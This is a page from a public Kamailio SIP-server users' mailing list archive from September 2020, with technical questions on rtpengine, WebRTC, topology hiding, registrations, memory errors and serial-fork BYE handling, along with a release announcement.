Hello, I am new in this VOIP field, yet I have to make a decision in using a SIP proxy that would allow the configuration of multiple conference factories, make load balancing when creating new conference, and provide presence information related to active conferences. Can you please tell me if this is possible with Kamailio, and give me some reference to a module or some documentation that would relate to that ? Thank you in advance. Best regards, Adrian Tabacioiu

3 4

Proxying BFCP
by René Hansen 15 Sep '20

15 Sep '20

Hi, I'm rather new to Kamailio and RTPEngine, so I'm looking for some help in locating any insights, documentation, guides or examples that resemble my use case. Currently I've got both running in working order and I can do SIP calls with both video and audio. Now I'm trying to figure out how to pass through BFCP as well. From what I understand so far, since BFCP isn't strictly RTP, it's not something that's outright supported. Please correct me if my assumption is wrong. My observation is that "*m=application PORT {UDP,TCP}/BFCP **" SDP lines doesn't seem to open for traffic as other media lines do. (Obviously expected if it's not supported) So I'm really just looking for any suggestions for, or where to start looking, in getting BFCP support. I do have the option of BFCP over both TCP and UDP, so if I could somehow include the originator IP as an added attribute in the re-written SDP answer, I could then just connect directly, around the proxy. I've yet to figure out how to do that as well however. Any pointers are much appreciated. Regards, René Hansen

2 3

Called with SDP without DTLS fingerprint from WebRTC to SIP
by Benjamin Flügel | vio:networks 15 Sep '20

15 Sep '20

Hey guys and girls, I'm trying to configure Kamailio so that I can communicate over it using WebRTC and SIP. Client 1 is a softphone based on SIPJS. Client 2 is a Yealink phone. Both are registered with the Kamailio. Behind the Kamailio there is another Asterisk. The Kamailio acts as a proxy here. So far everything works. Only if I accept the call, which is made from Client 1 to Client 2 or vice versa, then I get this error in Client 1: Called with SDP without DTLS fingerprint. I can see that the fingerprint is present in the INVITE from Client 1 to Client 2. However, it is missing in the OK. The lower part contains my NATMANAGE config. This could probably be optimized a lot, but for now it should work. Unfortunately I have only recently started with Kamailio. I hope you can help me there. I can also send you the SIP-Log if you want to. Many thanks in advance. Greetings Benny route[NATMANAGE] { if (is_request()) { if(has_totag()) { if (check_route_param("nat=yes")) { setbflag(FLB_NATB); } if (check_route_param("rtp=bridge")) { setbflag(FLB_BRIDGE); } if (check_route_param("rtp=ws")) { setbflag(FLB_RTPWS); } } } if (!isbflagset(FLB_BRIDGE)) { return; } if (!(isflagset(FLT_NATS) || isbflagset(FLB_NATB) || isbflagset(FLB_RTPWS))) { return; } $xavp(r=>$T_branch_idx) = "replace-origin replace-session-connection"; if (!nat_uac_test("8")) { xlog("IS TRUSTED"); $xavp(r=>$T_branch_idx) = $xavp(r=>$T_branch_idx) + " trust-address"; } if (is_request()) { if (!has_totag()) { if (!t_is_failure_route()) { $avp(extra_id) = @via[1].branch + $T_branch_idx; $xavp(r=>$T_branch_idx) = $xavp(r=>$T_branch_idx) + " via-branch=extra"; xlog("BRANCH: $T_branch_idx"); } } } if (is_reply()) { $avp(extra_id) = @via[2].branch + $T_branch_idx; $xavp(r=>$T_branch_idx) = $xavp(r=>$T_branch_idx) + " via-branch=extra"; xlog("BRANCH: $T_branch_idx"); } if(isbflagset(FLB_RTPWS)){ xlog("IS WS"); if(is_request()){ xlog("IS REQUEST"); if ($proto =~ "ws") { xlog("WEB --> SIP"); $xavp(r=>$T_branch_idx) = $xavp(r=>$T_branch_idx) + " rtcp-mux-demux DTLS=off SDES-off ICE=remove RTP/AVP"; rtpengine_manage($xavp(r=>$T_branch_idx)); if (route(FROMASTERISK)) { xlog("FROM INTERNAL"); } else { xlog("FROM EXTERNAL"); rtpengine_manage(" direction=external direction=internal ICE=remove loop-protect"); } } else { xlog("SIP --> WEB"); $xavp(r=>$T_branch_idx) = $xavp(r=>$T_branch_idx) + " rtcp-mux-offer generate-mid DTLS=passive SDES-off ICE=force RTP/SAVPF direction=internal direction=external loop-protect"; } } else { xlog("IS RESPONSE"); if ($proto =~ "ws") { xlog("WEB --> SIP"); $xavp(r=>$T_branch_idx) = $xavp(r=>$T_branch_idx) + " rtcp-mux-demux DTLS=off SDES-off ICE=remove RTP/AVP direction=external direction=internal loop-protect"; } else { xlog("SIP --> WEB"); $xavp(r=>$T_branch_idx) = $xavp(r=>$T_branch_idx) + " rtcp-mux-offer generate-mid DTLS=passive SDES-off ICE=force RTP/SAVPF direction=internal direction=external loop-protect"; } rtpengine_manage($xavp(r=>$T_branch_idx)); } } else { xlog("SIP --> SIP"); if (route(FROMASTERISK)) { xlog("FROM INTERNAL"); rtpengine_manage(" direction=internal direction=external ICE=remove loop-protect"); } else { xlog("FROM EXTERNAL"); rtpengine_manage(" direction=external direction=internal ICE=remove loop-protect"); } } xlog("NATMANAGE branch_id:$T_branch_idx ruri: $ru, method:$rm, status:$rs, extra_id: $avp(extra_id), rtpengine_manage: $xavp(r=>$T_branch_idx)\n"); if (is_request()) { if (!has_totag()) { if (t_is_branch_route()) { if (isbflagset(FLB_NATB)) { add_rr_param(";nat=yes"); } if (isbflagset(FLB_BRIDGE)) { add_rr_param(";rtp=bridge"); } if (isbflagset(FLB_RTPWS)) { add_rr_param(";rtp=ws"); } } } } if (is_reply()) { if (isbflagset(FLB_NATB)) { if (is_first_hop()) { if (af == INET) { set_contact_alias(); } } } } return; }

3 4

UAC module supports registration with Remote registrar using WSS ?
by sagar malam 15 Sep '20

15 Sep '20

Hello , I want to use UAC module to register with a remote registrar using WSS. Does it support it ? https://kamailio.org/docs/modules/5.3.x/modules/uac.html#idm614 -- Thanks, Sagar

2 1

Installing Diameter server module (IMS_DIAMETER_SERVER)
by Pavithra Mohanraja 15 Sep '20

15 Sep '20

Hi, How to install Diameter server module (IMS_DIAMETER_SERVER) using apt-get package. I need to have DRA in my application. Can anybody please help on this on how to install and how to use it. Kindly help. Thanks, Pavithra

2 6

Topos_redis and loose_route
by Ernest Mavrel 15 Sep '20

15 Sep '20

Dear Community, Call scenario: Calling number 33825462354 Called number 44656646820 UAC (IP=1.1.1.1) => Kamailio (IP=2.2.2.2) => SIP proxy (IP=3.3.3.3) I stocked on strange issue with module TOPOS_REDIS and PRACK message (IP=2.2.2.2 kamailio version 5.2.3). Configuration with module TOPOS works, but because of a lot of calls we would like to use TOPOS_REDIS (avoid mysql). I already check this: https://lists.kamailio.org/pipermail/sr-users/2018-May/101641.html and I already have fixed version of module. In attach you can find traces (pcap file and kamailio log with debug=4) Your help will be greatly appreciated Kind Regards Ernest Mavrel

3 7

Regex in the switch statement
by Ilie Soltanici 14 Sep '20

14 Sep '20

Hello, Is there any way to use Regex or 'OR/AND' operators in the switch/case statements? I've tried the following syntax but it's not working, are there any other ways to do this? switch($dlg_var(ISP)) { case "TRUNK1|TRUNK2": } Thank you.

4 4

RTPENGINE question
by Andrew Chen 14 Sep '20

14 Sep '20

Hey guys, Is this the right place to ask about rtpengine (ngcp) related issues with kernel packet forwarding? Thanks. -- Andy Chen Sr. Telephony Lead Engineer achen@ <achen(a)thinkingphones.com>fuze.com -- *Confidentiality Notice: The information contained in this e-mail and any attachments may be confidential. If you are not an intended recipient, you are hereby notified that any dissemination, distribution or copying of this e-mail is strictly prohibited. If you have received this e-mail in error, please notify the sender and permanently delete the e-mail and any attachments immediately. You should not retain, copy or use this e-mail or any attachment for any purpose, nor disclose all or any part of the contents to any other person. Thank you.*

5 11

Kamailio IMS - 5.3.5 with 5g core
by Pavithra Mohanraja 14 Sep '20

14 Sep '20

Hi, I am working with kamailio IMS 5.3.5. I am trying to connect kamailio IMS with 5g core. Did anybody come across this scenario. If so, Please help me how Rx interface works with 5g and how UDM and HSS can be an converged application incase of 5g. Kindly help as it is an urgent requirement. Thanks, Pavithra

1 0

Kamailio question
by alexandros vlachos 14 Sep '20

14 Sep '20

Hello, I am a new user and i am trying to use kamailio as remote sip server for clients (softphones particularly) The error message is "SIP: SIP/2.0 403 Not relaying" The kamailio listens with one public ip address in a datacenter ( linux debian). root@vmdeb1:~# kamctl version /usr/sbin/kamctl 5.2.0 The xlog shows that the register message arrives in kamailio. I am sure that the user 410 exists. I have added the remote public address to address via kamctl. I have added the location via ul add command. I am not sure about kamailio.cfg because most of it except the tls is the default. I would appreciate your help. Alexandros

3 2

Is there any way to remove stale registrations before expires time from usrloc ?
by sagar malam 14 Sep '20

14 Sep '20

Hello , I am using the usrloc module to store registrations. I could not find any way to remove stale registrations before expires time. Most of the registrations are mobile app so they wont run in background to save battery of phone hence we end up having lots of registrations in usrloc which were not removed because app was killed in background by OS without letting it send unregister request. Is there any way to remove stale registrations before expires time from usrloc ? -- Thanks, Sagar

4 8

SRTP-DTLS and rtpengine
by Gholamreza Sabery 12 Sep '20

12 Sep '20

Hi, I checked rtpengine's documentation, and I wonder what happens if I use SRTP-DTLS with rtpengine? My connection will be hop by hop encrypted with rtpengine, or like TURN my connection will remain end-to-end encrypted?? Thx a lot

2 2

Re: [SR-Users] xlog print sdp parameters
by Angel Elena 11 Sep '20

11 Sep '20

Ok, thanks for the info. -------------------------------- Ángel Elena Medina _o) craem(a)craem.net / \\ http://diablo.craem.net _(___V @craem_ www.linkedin.com/in/angel-elena-medina -------------------------------- Kopano Webapp. -----Original message----- From: Henning Westerholt <hw(a)skalatan.de> Sent: Friday 11th September 2020 14:03 To: Kamailio (SER) - Users Mailing List <sr-users(a)lists.kamailio.org> Cc: Angel Elena <craem(a)craem.net> Subject: RE: [SR-Users] xlog print sdp parameters Hello, you can use e.g. https://www.kamailio.org/docs/modules/stable/modules/sdpops.html#idm239to print in all xlog. Have a look to the other functions to get access to certain lines. Cheers, Henning -- Henning Westerholt –https://skalatan.de/blog/ Kamailio services –https://gilawa.com From: sr-users <sr-users-bounces(a)lists.kamailio.org> On Behalf Of Angel Elena Sent: Friday, September 11, 2020 1:36 PM To: sr-users(a)lists.kamailio.org Subject: [SR-Users] xlog print sdp parameters Hi, good moorning. I have a Kamailio 4.4.7 in a debian box and I need print with xlog (if is possible) the o,c and m values from SDP headers. Is possible make a xlog() print this parameters with sdpops module or another ? Thanks -------------------------------- Ángel Elena Medina _o) craem(a)craem.net <mailto:craem@craem.net> / \\ http://diablo.craem.net <http://diablo.craem.net> _(___V @craem_ www.linkedin.com/in/angel-elena-medina <http://www.linkedin.com/in/angel-elena-medina> -------------------------------- Kopano Webapp.

1 0

REST API to initiate a call in Kamailio
by Ameed Jamous 11 Sep '20

11 Sep '20

Hello Everyone, I was wondering what’s the most recommended module by the community today to initiate calls via Kamailio using REST API. Call Flow: Application —> HTTP (Async) —> Kamailio —> B2BUA —> Callee(s). Does a reliable module for this already exist today? Thanks in advance ! Stay safe. -- [image: photo] *Ameed Jamous* Founder, TelecomsXChange +1 954 246 3356 <+1+954+246+3356> | a.jamous(a)telecomsxchange.com www.telecomsxchange.com | Skype: telecomsxchange <#SignatureSanitizer_SafeHtmlFilter_> 1800 N Bayshore Dr, Suite CU1, Miami, FL 33132

8 16

Getting memory error on kamailio v5.1.2 tm:Free fragment not found!
by M Arqum CH 11 Sep '20

11 Sep '20

Hello Users, I am facing memory-related error on my Kamailio server, using this kamailio version kamailio -v version: kamailio 5.1.2 (x86_64/linux) with -m 512 -M 32 childern=16 System Memory : 24 GB System Cores: 12 On console getting the following error : Sep 08 14:40:29 debian /usr/sbin/kamailio[99894]: ERROR: <core> [core/mem/q_malloc.c:286]: qm_find_free(): qm_find_free(0x7fdf51eb9000, 11320); Free fragment not found! Sep 08 14:40:29 debian /usr/sbin/kamailio[99894]: ERROR: <core> [core/mem/q_malloc.c:419]: qm_malloc(): qm_malloc(0x7fdf51eb9000, 11320) called from tm: h_table.c: build_cell(320), module: tm; Free fragment not found! Sep 08 14:40:29 debian /usr/sbin/kamailio[99894]: ERROR: tm [t_lookup.c:1279]: new_t(): out of mem: Sep 08 14:40:29 debian /usr/sbin/kamailio[99894]: ERROR: tm [t_lookup.c:1422]: t_newtran(): new_t failed Sep 08 14:40:29 debian /usr/sbin/kamailio[99894]: ERROR: sl [sl_funcs.c:362]: sl_reply_error(): stateless error reply used: No error (2/SL) Please guide about the possible reason of failure or its memory leakage, possible solution. Thanks -- Regards M Arqum

5 6

Re: [SR-Users] How to handle BYE in case of serial fork
by Björn Klasen 11 Sep '20

11 Sep '20

Hi Hennning, loose_route() is what we are using. But we use also dialog module for call counting etc. We did not really change the default config. This is the snippet in our config. if (has_totag()) { # sequential requests within a dialog should # take the path determined by record-routing if (loose_route()) { if (is_method("BYE")) { t_on_reply("bye_reason"); setflag(FLT_ACC); # ... even if the transaction fails But I think that is not the point. The responses 18x responses are my real problem, because they have the same did in record-route but different to-tags because of the call forwarding scenario. That leads to the BYE of the first fork. With this BYE they try to stop the call with the first to-tag. But the first fork ist already canceld. So Kamailio behaves correctly by not answering or forwarding anythin, but throwing a warning with tight dialog matching not possible. Thats because at that point Kamailio does only know about the call with the second. So when the BYE is received by Kamailio the dialog modules can find the did but not the to-tog as Kamailio only has the second one left in memory. Now the point is, is there a way to hold the first early dialog fork in memory until it is either terminatet with a CANCEL or BYE or the last fork with the corresponding did is terminatet. I have read that ims_dialog or dialog_ng in our can handle things like this, but I also can't get it to work. By the way cdr generation does also not work with dialog_ng or ims_dialog (i also made tests with kamailio 5.3.5). This is the problematic BYE Message (i deleted customer relatet infomations) BYE sip:bob@kamailio:5060 SIP/2.0 Via: SIP/2.0/UDP carrier:5060;branch=z9hG4bKh6e7ie103g9amkc8gdo0.1 Max-Forwards: 65 To: <sip:bob@kamailio>;tag=11A2CF0C-5F578E7E000376B5-AA5BD700 From: <sip:anonymous@anonymous.invalid>;tag=h7g4Esbg_h7g4Esbg_c5478d8b Call-ID: ae36c13c31b5e910(a)a.b.c.d CSeq: 1313626 BYE Privacy: user;id Content-Length: 0 Allow: ACK, BYE, CANCEL, INFO, INVITE, MESSAGE, OPTIONS, PRACK, PUBLISH, REGISTER, SUBSCRIBE, UPDATE Route: <sip:kamailio-ip:5070;r2=on;lr;ftag=h7g4Esbg_h7g4Esbg_c5478d8b;did=c4851.7b1c5> Route: <sip:sems-ip;r2=on;lr;ftag=h7g4Esbg_h7g4Esbg_c5478d8b;did=c4851.7b1c5> This one matches to the 180 of the call to callee b SIP/2.0 180 Ringing Record-Route: <sip:sems-ip;r2=on;lr;ftag=h7g4Esbg_h7g4Esbg_c5478d8b;did=c4851.7b1c5> Record-Route: <sip:kamailio-ip:5070;r2=on;lr;ftag=h7g4Esbg_h7g4Esbg_c5478d8b;did=c4851.7b1c5> Via: SIP/2.0/UDP bob@kamailiko:5060;branch=z9hG4bK1s9rar309o1uf6j41ik0.1 Call-ID: ae36c13c31b5e910(a)a.b.c.d CSeq: 1313625 INVITE To: <sip:bob@kamailio>;tag=11A2CF0C-5F578E7E000376B5-AA5BD700 From: <sip:anonymous@anonymous.invalid>;tag=h7g4Esbg_h7g4Esbg_c5478d8b Content-Length: 0 Contact: <bob-pjhq8ddet3tu9@bobdomain;transport=udp> I hope you can understand my problem a little better now. BR Björn Am 11.09.20 um 12:26 schrieb Henning Westerholt: > Hello Björn, > > I was not referring to dialog stateful routing e.g. with dialog module. I was referring to the loose_route() function in your kamailio.cfg (e.g. compare to the default cfg in github). > > Maybe you can quote the problematic BYE SIP message here. > > Cheers, > > Henning > -- Björn Klasen, Specialist TNG Stadtnetz GmbH, Network Management (VoIP) Projensdorfer Straße 324 24106 Kiel Germany T +49 431/ 530530 F +49 431/ 7097-555 mailto: bklasen(a)tng.de http://www.tng.de Register: Amtsgericht Kiel HRB 6002 KI Executive board (Geschäftsführung): Dr.-Ing. Volkmar Hausberg, Sven Schade, Carsten Tolkmit, Dr. Sven Willert Tax-Id (Steuernr.): 2029047020, VAT-Id (USt-Id): DE225201428

2 2

How to check which memory allocator kamailio is using ?
by sagar malam 11 Sep '20

11 Sep '20

Hello , Is there any way to check if the memory allocator is used by kamailio ? qmalloc,fmalloc or tlsf. -- Thanks, Sagar

2 3

xlog print sdp parameters
by Angel Elena 11 Sep '20

11 Sep '20

Hi, good moorning. I have a Kamailio 4.4.7 in a debian box and I need print with xlog (if is possible) the o,c and m values from SDP headers. Is possible make a xlog() print this parameters with sdpops module or another ? Thanks -------------------------------- Ángel Elena Medina _o) craem(a)craem.net / \\ http://diablo.craem.net _(___V @craem_ www.linkedin.com/in/angel-elena-medina -------------------------------- Kopano Webapp.

2 1

Using Kamalio as a proxy for internal servers
by Moshe Katz 11 Sep '20

11 Sep '20

Hello all, (Note: I previously posted a more detailed version of this question on StackOverflow at https://stackoverflow.com/q/63760506/829970 . This version is simplified to fit better in an email.) I have Kamailio 5.4.1 (and RTPEngine) running on an internal server with a private IP address 172.31.7.96 and One-to-one NAT to an external IP address. The external IP is 192.0.2.100. (Note: The internal IP addresses are all unedited, but the public IPs have been replaced with TEST-NET-1 and TEST-NET-2 example addresses.) I will eventually be doing transcoding with RTPEngine, but for now this is a simple SIP Proxy. Kamailio is installed on Ubuntu 18.04 using the DEB packages from dev.kamailio.org/kamailio54 and is using the stock configuration that comes with those packages, except for the following changes: #!define WITH_NAT #!define WITH_RTPENGINE #!define WITH_MYSQL #!define WITH_AUTH #!define WITH_IPAUTH listen=udp:0.0.0.0:5060 advertise 192.0.2.100:5060 #!define DBURL "mysql://kamailio:REAL_PASSWORD_HERE@127.0.0.1/kamailio" I have internal SIP servers with private IP addresses in the 172.31.7.0/24 range that I want to have send all SIP traffic through the Kamailio server. The internal servers are running a Java SIP client with the `OUTBOUND_PROXY` setting set to 172.31.7.96. The problem I have is that the SIP `200 OK` message sent by Kamailio to my SIP server has its `Record-Route` header set to the public IP address `192.0.2.100` instead of the private address `172.31.7.96`. The SIP client therefore tries to send the `ACK` message back to the public address, but it has no route to the public address so the ACK never gets sent. How can I configure Kamailio to use the public IP for external traffic but the private IP for communicating with internal machines on the same subnet? I tried setting `mhomed=1`, but the machine isn't actually multi-homed so that didn't work. I thought of adding a second listen line `listen=udp:172.31.7.96:5061` and having the internal servers talk to port 5061, but that doesn't work because Kamailio uses the 5061 definition for the external side too. I see in the docs that it is possible to name the listener lines, but I don't understand how to use those names in a way that would be relevant to my issue. Thank you very much for your help, Moshe

5 6

How to handle BYE in case of serial fork
by Björn Klasen 11 Sep '20

11 Sep '20

Hi we are using Kamailio 4.3.7 and I have a question concerning BYE handling. We have the following situation: A carrier a call to us. We are forwarding the call to the destination, but it does not pick up the call. We have call-forward active with use of tm module, so we forward the call to the new destination. The first call generates a to-tag in 180, let's call it TT1. The second call, so the c-destination also answer with 180 but with another to-tag (TT2). Both ringing are passed to the originating carrier. When the timer for the first call is timed out, Kamailio cancels the branch with a CANCEL so it does not exist any more Now the c-destination picks up the phone, and reply with 200 OK with TT2 The carrier then sends a BYE with TT1 to us, but Kamailio doesn't know anything about it, so it does not reply and the carrier sends a timeout and terminates the complete call. So the question is, how handle such a situation. Is it possible to store the first branch, or fake a OK reply to the BYE request of the carrier as for my understanding this behaviour is not against RFC. To clarify the situation here comes a call-flow diagram A Kamailio B C |---INV Bob@P1->| | | | |--INV Bob@B--->| | | |<-100----------| | |<-100----------| | | | |<-180 TT1------| | |<-180 TT1------| | | Forward after 10 seconds | |--CANCEL------>| | | |<-487----------| | | |<-200 OK-------| | | |--ACK--------->| | |<-181 TT1------| | | | |--INV Carol@C----------------->| | |<-100--------------------------| | |<-180 TT2----------------------| |<-180 TT2------| | | | |<-200 OK TT2-------------------| |<-200 OK TT2---| | | |--BYE TT1----->| | | |--BYE TT1----->| | | |--BYE TT1----->| | | |--408--------->| | | |--ACK--------->| | | | |--ACK------------------------->| | |<-BYE TT2----------------------| |<-BYE TT2------| | |--481--------->| | | |--481------------------------->| To get around the the situation with the second to-tag, we passing every call through SEMS now, because its B2B function rewrites the to-tag, so there is always only one to-tag towards the carrier A. But it's not the gold solution. I hope somebody can help me. BR, Björn -- Björn Klasen, Specialist TNG Stadtnetz GmbH, Network Management (VoIP) Projensdorfer Straße 324 24106 Kiel Germany T +49 431/ 530530 F +49 431/ 7097-555 mailto: bklasen(a)tng.de http://www.tng.de Register: Amtsgericht Kiel HRB 6002 KI Executive board (Geschäftsführung): Dr.-Ing. Volkmar Hausberg, Sven Schade, Carsten Tolkmit, Dr. Sven Willert Tax-Id (Steuernr.): 2029047020, VAT-Id (USt-Id): DE225201428

1 0

Kamailio v5.3.6 Released
by Daniel-Constantin Mierla 10 Sep '20

10 Sep '20

Hello, Kamailio SIP Server v5.3.6 stable release is out. This is a maintenance release of the latest stable branch, 5.3, that includes fixes since the release of v5.3.5. There is no change to database schema or configuration language structure that you have to do on previous installations of v5.3.x. Deployments running previous v5.3.x versions are strongly recommended to be upgraded to v5.3.6. Note that 5.3 is the second last stable branch, still officially maintained by Kamailio development team. The latest stable branch is 5.4, with v5.4.1 being release out of it. For more details about version 5.3.6 (including links and guidelines to download the tarball or from GIT repository), visit: * https://www.kamailio.org/w/2020/09/kamailio-v5-3-6-released/ RPM, Debian/Ubuntu packages will be available soon as well. Many thanks to all contributing and using Kamailio! Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda

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